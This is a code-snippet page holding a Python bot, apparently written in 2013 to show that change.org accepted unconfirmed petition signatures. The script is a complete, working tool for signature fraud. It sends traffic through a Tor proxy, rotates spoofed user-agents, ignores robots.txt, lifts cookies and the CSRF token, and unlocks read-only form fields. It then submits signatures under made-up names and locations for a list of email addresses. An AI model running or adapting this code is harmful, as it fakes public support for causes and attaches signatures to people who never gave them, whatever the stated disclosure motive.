The Easiest Way to Save and Share Code Snippets on the web

Bot de change.org con lista de emails

python | by: gallir

last edit: Feb, 6th 2013 | jump to bottom

#! /usr/bin/env python
# -*- coding: utf8 -*-
 
"""
What: A working proof of concept of a bot to sign anonymously in change.org
Author: Ricardo Galli
Why: I was tired of receiving emails telling me that I "signed" petitions
that I didn't even know about. When we exposed the problem, they (@change_es)
just ignored the problem.
 
More info:
http://cienciasycosas.blogspot.com.es/2013/02/el-fraude-de-las-firmas-online-con-la.html
https://plus.google.com/117939449396284436490/posts/htXbfpLE9FW
 
They should be more careful in checking abuses, and every email address
should be confirmed before incrementing the nice and spectacular counters.
The public image and reputation are a must for his kind of platforms.
 
BTW, don't fuck around with programmers, for God sake ;)
"""
 
import urllib2
import mechanize
import re
import time
from random import randint, choice
import os
 
url="http://www.change.org/es/peticiones/change-prueba-desde-cero"
 
# Put your Tor proxy address below, if you have it
proxy="127.0.0.1:8123"
 
ua = choice(("Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/32 Safari/537.21"
            "Mozilla/6.0 (Windows NT 6.2; WOW64; rv:16.0.1) Gecko/20121011 Firefox/16.0.1",
            "Mozilla/5.0 (Windows NT 6.2; WOW64; rv:16.0.1) Gecko/20121011 Firefox/16.0.1",
            "Mozilla/5.0 (Windows NT 6.2; Win64; x64; rv:16.0.1) Gecko/20121011 Firefox/16.0.1",
            "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:14.0) Gecko/20100101 Firefox/14.0.1",
            "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:14.0) Gecko/20100101 Firefox/14.0.1",
            "Mozilla/5.0 (Windows; U; Windows NT 6.1; WOW64; en-US; rv:2.0.4) Gecko/20120718 AskTbAVR-IDW/3.12.5.17700 Firefox/14.0.1",
            "Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20120403211507 Firefox/14.0.1",
            "Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/ 20120405 Firefox/14.0.1",
            "Mozilla/5.0 (Windows NT 6.0; rv:14.0) Gecko/20100101 Firefox/14.0.1",
            "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)",
            "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)",
            "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/5.0)",
            "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/4.0; InfoPath.2; SV1; .NET CLR 2.0.50727; WOW64)",
            "Mozilla/5.0 (compatible; MSIE 10.0; Macintosh; Intel Mac OS X 10_7_3; Trident/6.0)",
            "Mozilla/4.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/5.0)",
            "Mozilla/1.22 (compatible; MSIE 10.0; Windows 3.1)",
            )
        )
 
 
names="Ricardo Mario Maria Caro Fontana Sofia Irene Marco Robles Catalina Fourier Turing Alan Cati Granada Gonzalo Gonzalez Mariana Estupenda Falacia Segura Barriga Diego Maradona Charles Darwin Michelle Reverte Pedro Perez Joan Juan Juana Joana Miguel Miquel Jose Raquel Marta Elena Juanes Carlos Carla Martinez Rajoy Mariano Mariana Marilin Mirella Moreno Gonzalo Medina Galli Benitez Benjami Villoslada Ruiz Martin Alex Rodolfo Alejandro Alejandra Martina Armando Dijsktra Sholen Sheldom Penny Pedro Peter Pere Ramon Rodriguez Calvo Lucio Lucho Rebollido Federico Felipe Yoani Isabel Belen Bologna Alicia Beatriz Mezcal Mirella Elvi Eli Roca Raul Ramon Montes Rajoy Zapatero Cospedal Antonio Garzon Antoni Rueda Felip Puig Roig Antich Bibiloni Lozano Luis Lazaro Jesus Magdalena Urquia Baro Mirta Margarita"
hosts="lkxcgamil.com uib.cat gmail.com hotmail.com live.com yahoo.com yahoo.es marca.com elmundo.es elpais.com xxlgy.com"
cities="Palma Elche Alicante Malaga Badajoz Toledo Burgos Girona Zaragoza Sevilla Maon Ciutadella Granada Madrid Barcelona Valencia Bilbao Cadiz Tarragona Jaen"
 
emails="xxxxgallir@gmail.com xxxxgallir@meneame.net xxxxgallir@uib.es xxxxgalligranadaricardo@yahoo.es xxxxadm@meneame.net xxxxadmin@meneame.net"
 
names = names.split()
hosts = hosts.split()
cities = cities.split()
emails=emails.split()
 
 
def submit_form(browser, form, email):
	first= choice(names)
	last = choice(names)
	host = choice(hosts)
	city = choice(cities)
	number = str(randint(100000,999999))
	cp = "%05d" % (randint(2000,30000),)
 
	print "Submitting as:", first, last, email,
	try:
		form['signature[first_name]'] = first
		form['signature[last_name]'] = last
		form['signature[email]'] = email
		if form['signature[form_type]'] == "postal_code_only_experiment":
			form['signature[country]'] = ["ES"]
			form['signature[postal_code]'] = cp
			print form['signature[form_type]'] + ": " + cp,
		else:
			form.find_control("signature[city]").readonly = False
			form['signature[city]'] = city
 
			if form['signature[form_type]'] == "default":
				form.find_control("signature[form_type]").readonly = False
				form['signature[form_type]'] = "international"
				form['signature[state]'] = [""]
				form['signature[zip_code]'] = cp
				form['signature[address]'] = "Calle " + choice(names) + " " + choice(names) + " " + str(randint(1,500))
				form['signature[country]'] = ["ES"]
 
			else:
				form['signature[autocomplete_query]'] = "city" + ", " + city[:2].upper() + ", Spain"
 
				form.find_control("signature[state_code]").readonly = False
				form['signature[state_code]'] = city[:2].upper()
 
				form.find_control("signature[country_code]").readonly = False
				form['signature[country_code]'] = "ES"
 
				form.find_control("signature[state_code]").readonly = False
				form['signature[state_code]'] = city[:2].upper()
 
 
			print form['signature[form_type]'] + ": " + cp + " " + form['signature[city]'],
		form['signature[message]'] = ""
 
 
		form.controls.remove(form.find_control('signature[public]', nr=1))
		form.find_control("signature[public]").readonly = False
		form['signature[public]'] = "1"
 
		form.controls.remove(form.find_control('signature[post_to_facebook]', nr=1))
		form.controls.remove(form.find_control('signature[post_to_facebook]', nr=0))
 
		#Add controls
		form.find_control("commit").readonly = False
		form['commit'] = urllib2.unquote("%0D%0AFirma%0D%0A%C2%A0%C2%A0%0D%0A%0D%0A%0D%0A")
	except Exception as e:
		print "Error:", e
		print form
		return False
 
 
	browser.addheaders = [('X-CSRF-Token', form['authenticity_token'])]
	browser.addheaders = [('X-Requested-With', 'XMLHttpRequest')]
 
 
 
	time.sleep(1)
	try:
		r = browser.submit()
		html = r.read()[0:400]
	except Exception as e:
		print "Submit error:", e
		return False
	if re.match(r'.*"success":true', html):
		print "[OK]"
		return True
	else:
		print "[Failed]"
		return False
 
 
 
 
def get_initial_cookies(browser, url):
	try:
		r = browser.open(url)
		html = r.read()
	except Exception as e:
		print "Error initial_cookie:", e
		return False
 
	matches = re.finditer(r'.*setCookie\([\'"]([^\'"]+)[\'"][, ]+[\'"]([^\'"]+)[\'"]', html, re.I)
	for m in matches:
		c_name = m.group(1)
		c_value = m.group(2)
		browser.set_cookie(c_name + '=' + c_value)
	browser.set_cookie('DOAReferrer=')
	return True
 
 
 
def get_form(browser, url):
	form = False
 
	try:
		r = browser.open(url)
		# Clean the wrong textarea tags
		html = r.get_data()
	except Exception as e:
		print "Error get_form:", e
		return False
 
 
	html = re.sub(r'<textarea +class=.+message.+/>', "", html)
	response = mechanize.make_response(html, [("Content-Type", "text/html")], url, 200, "OK")
	browser.set_response(response)
 
	for f in browser.forms():
		if url[:32] in f.action:
			form = f
			browser.form = f
			break
 
	return form
 
 
n = 0
for email in emails:
	try:
		n += 1
		form = False
		ok = False
		browser = mechanize.Browser(factory=mechanize.RobustFactory())
		if 'proxy' in globals():
			browser.set_proxies({"http": proxy, "https": proxy})
 
		browser.set_handle_robots(False)
		browser.set_handle_redirect(False)
		#browser.set_debug_http(True)
		browser.addheaders = [('User-agent', ua)]
		if get_initial_cookies(browser, url):
			form = get_form(browser, url)
			if form:
				ok = submit_form(browser, form, email)
		if ok:
			time.sleep(10) ###### Wait for the next query
		else:
			time.sleep(5)
	except KeyboardInterrupt:
		exit(0)
 
 
3436 views